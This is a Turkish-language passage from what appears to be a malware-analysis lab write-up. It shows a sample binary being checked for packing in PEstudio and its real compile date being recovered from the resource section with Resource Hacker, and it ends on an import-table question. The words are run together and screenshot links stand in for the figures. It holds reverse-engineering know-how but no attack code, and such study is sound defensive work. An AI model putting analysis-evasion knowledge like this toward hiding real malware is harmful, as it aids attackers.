  • 136. https://i.imgyukle.com/2021/02/26/L6LvkM.png Görüldüğüüzere herhangi birpaketlemesözkonusudeğil. şimdi 2 sorununcevabınıbirdenvereceğim. Soru 3: Bu program ne zaman derlendi? Soru 6: Burada uygulamanınresource source alanınıincelememizi ve kaynaktanveri çıkarmamızı istiyor.Bununiçinde Resource Hackeryazılımınıişaretediyor. Dosyamızı PEstudioile açıyoruzve derlenmetarihinigörüyoruzbunlardeğiştirilebilmektedirazsonra orijinal derlenmezamanınaerişmeye çalışacağız. https://i.imgyukle.com/2021/02/26/L6LKw8.png tarihgörüldüğügibi 31 ağustos2019 şimdi gerçekderlenme tarihiniöğrenmeye çalışalım.
  • 137. https://i.imgyukle.com/2021/02/26/L6LUDo.png aracımı çalıştırıp okile işaretledimyere tıklayarakbirexe dosyasıoluşturalımve PEstudioile açalımve derlenme tarihine birdahabakalım. https://i.imgyukle.com/2021/02/26/L6Ll31.png burada ise 27 şubat2011 tarihinde derlendiğini görmekteyiz.Resource hackerile.rsrcsection bilgilerinianalizetmemize olanaksağladıve busectiondanderlenme tarihi,kullanılandllbilgileri, fonksiyonlarıgibi temel bilgilereldeedilebilmektedir.Resource Hackerile çektiğimizsection sayesinde orijinalderlenmetarihine erişmişolduk. Soru 4: Bu programın importtablosunuinceleyerekprogramınişlevihakkındaneleröğrenebiliriz?